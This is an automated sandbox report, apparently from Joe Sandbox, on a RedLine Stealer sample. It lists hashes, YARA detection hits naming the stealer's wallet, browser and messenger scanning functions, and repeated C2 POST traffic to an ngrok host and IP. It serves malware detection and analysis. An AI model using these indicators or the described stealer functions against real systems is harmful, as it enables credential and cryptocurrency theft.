Edit tour

Windows Analysis Report
kuEfaZxkiY.exe

Overview

General Information

Sample name:	kuEfaZxkiY.exe renamed because original name is a hash value
Original sample name:	117EEF8A227E6CE3646718D0ED6FB7B1.exe
Analysis ID:	1393953
MD5:	117eef8a227e6ce3646718d0ed6fb7b1
SHA1:	db6e21bf637604aa0be4f73142a1b7447cc83553
SHA256:	80488bf5f30ea2398ff207b9045a0e230aff2d052ea56156a0e96b57784dc0e5
Tags:	exeRedLineStealer
Infos:

Detection

RedLine

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Yara detected RedLine Stealer

Machine Learning detection for sample

Uses known network protocols on non-standard ports

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

HTTP GET or POST without a user agent

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Tries to load missing DLLs

Uses 32bit PE files

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

kuEfaZxkiY.exe (PID: 7080 cmdline: C:\Users\user\Desktop\kuEfaZxkiY.exe MD5: 117EEF8A227E6CE3646718D0ED6FB7B1)

conhost.exe (PID: 7160 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
kuEfaZxkiY.exe	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
kuEfaZxkiY.exe	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
kuEfaZxkiY.exe	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
kuEfaZxkiY.exe	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165f2:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165d3:$v2_6: GetUpdates

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000000.1687162319.0000000000862000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000000.1687162319.0000000000862000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000000.1687162319.0000000000862000.00000002.00000001.01000000.00000003.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x133ca:$a4: get_ScannedWallets 0x12228:$a5: get_ScanTelegram 0x1304e:$a6: get_ScanGeckoBrowsersPaths 0x10e6a:$a7: <Processes>k__BackingField 0xed7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1079e:$a9: <ScanFTP>k__BackingField
Process Memory Space: kuEfaZxkiY.exe PID: 7080	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: kuEfaZxkiY.exe PID: 7080	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: kuEfaZxkiY.exe PID: 7080	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x3a2f1:$a4: get_ScannedWallets 0x39198:$a5: get_ScanTelegram 0x39f7a:$a6: get_ScanGeckoBrowsersPaths 0x37e2b:$a7: <Processes>k__BackingField 0x3535e:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x3775f:$a9: <ScanFTP>k__BackingField
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.0.kuEfaZxkiY.exe.860000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.0.kuEfaZxkiY.exe.860000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.0.kuEfaZxkiY.exe.860000.0.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
0.0.kuEfaZxkiY.exe.860000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165f2:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165d3:$v2_6: GetUpdates

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: kuEfaZxkiY.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://0.tcp.in.ngrok.io:17383/	Avira URL Cloud: Label: malware
Source: http://0.tcp.in.ngrok.io:17383	Avira URL Cloud: Label: malware
Source: http://0.tcp.in.ngrok.io	Avira URL Cloud: Label: malware
Source: http://0.tcp.in.ngrok.io:17383/.	Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: 0.tcp.in.ngrok.io	Virustotal: Detection: 8%	Perma Link
Source: http://0.tcp.in.ngrok.io	Virustotal: Detection: 8%	Perma Link
Source: http://0.tcp.in.ngrok.io:17383/	Virustotal: Detection: 8%	Perma Link
Source: http://0.tcp.in.ngrok.io:17383	Virustotal: Detection: 8%	Perma Link
Source: http://0.tcp.in.ngrok.io:17383/.	Virustotal: Detection: 8%	Perma Link

Multi AV Scanner detection for submitted file

Source: kuEfaZxkiY.exe	ReversingLabs: Detection: 86%
Source: kuEfaZxkiY.exe	Virustotal: Detection: 77%			Perma Link

Machine Learning detection for sample

Source: kuEfaZxkiY.exe

Joe Sandbox ML: detected

Source: kuEfaZxkiY.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: kuEfaZxkiY.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: \??\C:\Windows\dll\System.ServiceModel.pdb source: kuEfaZxkiY.exe, 00000000.00000002.2945747636.000000000100E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.ServiceModel.pdb693405117-2476756634-1002_Classes\WOW6432Node\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Servererver32d source: kuEfaZxkiY.exe, 00000000.00000002.2945747636.000000000100E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.pdb source: kuEfaZxkiY.exe, 00000000.00000002.2945747636.000000000100E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.ServiceModel.pdb source: kuEfaZxkiY.exe, 00000000.00000002.2945747636.000000000100E000.00000004.00000020.00020000.00000000.sdmp

Networking

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 17383
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 17383

Source: global traffic

TCP traffic: 192.168.2.4:49729 -> 3.6.115.182:17383

Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Accept-Encoding: gzip, deflateHost: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Accept-Encoding: gzip, deflateHost: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Accept-Encoding: gzip, deflateHost: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Accept-Encoding: gzip, deflateHost: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Accept-Encoding: gzip, deflateHost: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Accept-Encoding: gzip, deflateHost: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Accept-Encoding: gzip, deflateHost: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Accept-Encoding: gzip, deflateHost: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Accept-Encoding: gzip, deflateHost: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Accept-Encoding: gzip, deflateHost: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Accept-Encoding: gzip, deflateHost: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Accept-Encoding: gzip, deflateHost: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Accept-Encoding: gzip, deflateHost: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: Joe Sandbox View

IP Address: 3.6.115.182 3.6.115.182

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: unknown

DNS traffic detected: queries for: 0.tcp.in.ngrok.io

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/CheckConnect"Host: 0.tcp.in.ngrok.io:17383Content-Length: 137Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive

Source: kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://0.tcp.in.ngrok.io
Source: kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E74000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC9000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D9F000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://0.tcp.in.ngrok.io:17383
Source: kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E74000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC9000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://0.tcp.in.ngrok.io:17383/
Source: kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://0.tcp.in.ngrok.io:17383/.
Source: kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E74000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC9000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DAC000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX
Source: kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E74000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC9000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DAC000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DAC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/0
Source: kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/
Source: kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E74000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/8
Source: kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D9F000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnect
Source: kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC9000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnectLR
Source: kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E74000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC9000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnectResponse
Source: kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D9F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/CheckConnectT
Source: kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC9000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettingsLR
Source: kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E74000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC9000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/EnvironmentSettingsResponse
Source: kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC9000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesLR
Source: kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E74000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC9000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/GetUpdatesResponse
Source: kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC9000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironmentLR
Source: kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E74000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC9000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Endpoint/SetEnvironmentResponse
